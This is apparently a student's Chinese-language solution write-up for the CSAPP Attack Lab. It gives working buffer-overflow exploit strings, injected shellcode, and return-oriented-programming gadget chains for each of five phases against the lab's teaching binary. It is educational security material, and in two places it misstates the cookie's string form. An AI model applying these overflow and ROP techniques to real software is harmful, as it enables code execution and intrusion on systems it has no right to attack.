本实验介绍了两种通过缓冲区溢出进行攻击的例子,分为Code Injection以及Return-Oriented Programming。主要思想是输入过多的内容,使缓冲区溢出,从而更改调用栈的返回地址。

Code Injection

使用代码注入的方式,在输入的字符串中包含注入的二进制机器码,通过更改调用栈的返回地址,从而使注入的代码得到执行。

Phase_1

本题任务是从test跳转到touch1,只需要更改getbuf()的返回地址即可。

void test() {
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

getbuf的汇编代码如下

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq   
  4017be:   90                      nop
  4017bf:   90                      nop

可以发现,缓冲区大小为0x28,即为40字节。故输入的内容为

88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
c0 17 40 00 00 00 00 00 

88作为填充,0x4017c0touch1的地址的小端表示

Phase_2

本题不仅要从test跳转到touch2,而且还要给touch2传递参数,传递的参数是cookie,即为0x59b997fa。因此本题要开始注入代码了。首先要把返回地址改成注入的代码的地址,通过%rdi传入参数,再使用ret跳转到touch2

注入的代码汇编表示为:

# info registers rsp : 0x5561dca0
# %rsp - 28 = 0x5561dc78
movq  $0x59b997fa,%rdi
pushq $0x4017ec
retq

将这段代码使用汇编器生成机器代码:

$ gcc -c phase_2.s
$ objdump -d phase_2.o

phase_2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq   

这段代码的起始地址为%rsp - 28,也就是0x5561dc78,因此,输入为

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
78 dc 61 55 00 00 00 00

Phase_3

本题需要从test跳转到touch3,并传递字符串,其值为cookie的字符串形式,即为5561dc78

首先要得到所传递参数的二进制形式,不用查ASCII码表,直接查看编译之后生成的代码。

$ cat phase_3.c
char *sval = "59b997fa";
$ gcc -c phase_3.c
$ objdump -sj .rodata phase_3.o

phase_3.o:     file format elf64-x86-64

Contents of section .rodata:
 0000 35396239 39376661 00                 59b997fa.

故字符串5561dc78对应的二进制35396239 39376661 00

至于注入代码,方式与上一题相同,只不过由于touch3中调用了hexmatch,为了避免传入的参数被新建的调用栈覆盖,需要将rsp移到参数上面。汇编代码为:

# info registers rsp : 0x5561dca0
# %rsp - 28 = 0x5561dc78
movq  $0x5561dc78,%rdi
subq  $0x30,%rsp
pushq $0x4018fa
retq

对应的二进制输入为

35 39 62 39 39 37 66 61 
00 48 c7 c7 78 dc 61 55
48 83 ec 30 68 fa 18 40 
00 c3 88 88 88 88 88 88
88 88 88 88 88 88 88 88
81 dc 61 55 00 00 00 00

Return-Oriented Programming

假若采用栈随机化,那么%rsp的地址也就不固定;或者是禁止栈里面的数据被执行,上面的注入方式也就行不通了。不过我们还可以使用程序原有的代码片段来代替注入代码,进行攻击。

Phase_4

需求与Phase_2相同,只不过不能注入了。思路就是通过popq指令,直接或间接地把参数传到%rdi中。遗憾的是没有找到直接的popq %rdi,但是找到了popq %rax(二进制0x58),地址为0x4019ab

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq  

接着寻找movq %rax,%rdi(48 89 c7),地址为0x4019c5

00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq  

故输入的代码可以为

88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
ab 19 40 00 00 00 00 00  # 0x4019ab: popq %rax; ret
fa 97 b9 59 00 00 00 00  # cookie
c5 19 40 00 00 00 00 00  # 0x4019c5: movq %rax, %rdi; ret
ec 17 40 00 00 00 00 00  # 0x4017ec: address of touch2

Phase_5

同样,需求与Phase_3相同。为了防止传入的参数被新的调用栈覆盖,需要把参数值放在touch3地址后面。因此需要计算参数的地址。

参数的地址肯定是相对于第一次调用ret时,%rsp的值,故要先记录之。

movq %rsp,%rax(48 89 e0),地址为0x401a06

0000000000401a03 <addval_190>:
  401a03:   8d 87 41 48 89 e0       lea    -0x1f76b7bf(%rdi),%eax
  401a09:   c3                      retq  

最后肯定要把参数传给%rdi

movq %rax,%rdi(48 89 c7),地址为0x4019c5

00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq  

当然,相对地址应该由用户输入进去:

popq %rax(58),地址为0x4019ab

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq  

那么怎么计算参数的实际地址呢?肯定要用两个寄存器相加吧?这种指令只能在源码里面找了啊,lea (%rdi,%rsi,1),%rax,地址为0x4019d6

00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3                      retq  

原来是把%rdi%rsi相加啊,前者好说,后面那位是怎么冒出来的?以%rsi为目的操作数的mov指令只有movl %ecx,%esi(89 ce)。而且这位仁兄后面都还跟了一些指令,如下:

  1. 89 ce 92 c392 c3无意义
  2. 89 ce 78 c978 c9无意义
  3. 89 ce 90 9090 90无意义
  4. 89 ce 38 c038 c0cmpb %al,%al,该指令在本题相当于nop

那就是最后一位咯,movl %ecx,%esi(89 ce),地址为0x401a27

0000000000401a25 <addval_187>:
  401a25:   8d 87 89 ce 38 c0       lea    -0x3fc73177(%rdi),%eax
  401a2b:   c3                      retq   

所以又要找%ecx从哪里冒出来了。

唯一一处是,movl %edx,%ecx(89 d1),地址为0x401a34。后面的38 c9cmpb %cl,%cl相当于nop。

0000000000401a33 <getval_159>:
  401a33:   b8 89 d1 38 c9          mov    $0xc938d189,%eax
  401a38:   c3                      retq  

再找%edx,只有89 c2符合要求,然后考虑后面的指令

  1. 89 c2 90nop
  2. 89 c2 00 c9:无意义
  3. 89 c2 84 c0testb %al,%al
  4. 89 c2 c4 c9:无意义
  5. 89 c2 c7 3c:无意义
  6. 89 c2 60 d2:无意义

那就选第一个吧,movl %eax,%edx(89 c2),地址为0x4019dd

00000000004019db <getval_481>:
  4019db:   b8 5c 89 c2 90          mov    $0x90c2895c,%eax
  4019e0:   c3  

终于连起来了!!!将上面所有的汇编串起来

movq %rsp,%rax  # at 0x401a06
movq %rax,%rdi  # at 0x4019c5
popq %rax       # at 0x4019ab
movl %eax,%edx  # at 0x4019dd
movl %edx,%ecx  # at 0x401a34
movl %ecx,%esi  # at 0x401a27
lea (%rdi,%rsi,1),%rax  # 0x4019d6
movq %rax,%rdi  # at 0x4019c5

输入为

88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
06 1a 40 00 00 00 00 00  # movq %rsp,%rax
c5 19 40 00 00 00 00 00  # movq %rax,%rdi # %rsp points at here
ab 19 40 00 00 00 00 00  # popq %ra
48 00 00 00 00 00 00 00  # offset 8 * 9
dd 19 40 00 00 00 00 00  # movl %eax,%edx
34 1a 40 00 00 00 00 00  # movl %edx,%ecx
27 1a 40 00 00 00 00 00  # movl %ecx,%esi
d6 19 40 00 00 00 00 00  # lea (%rdi,%rsi,1),%rax
c5 19 40 00 00 00 00 00  # movq %rax,%rdi
fa 18 40 00 00 00 00 00  # address of touch3
35 39 62 39 39 37 66 61  # cookie str

(完)

所有输入见[CSAPP]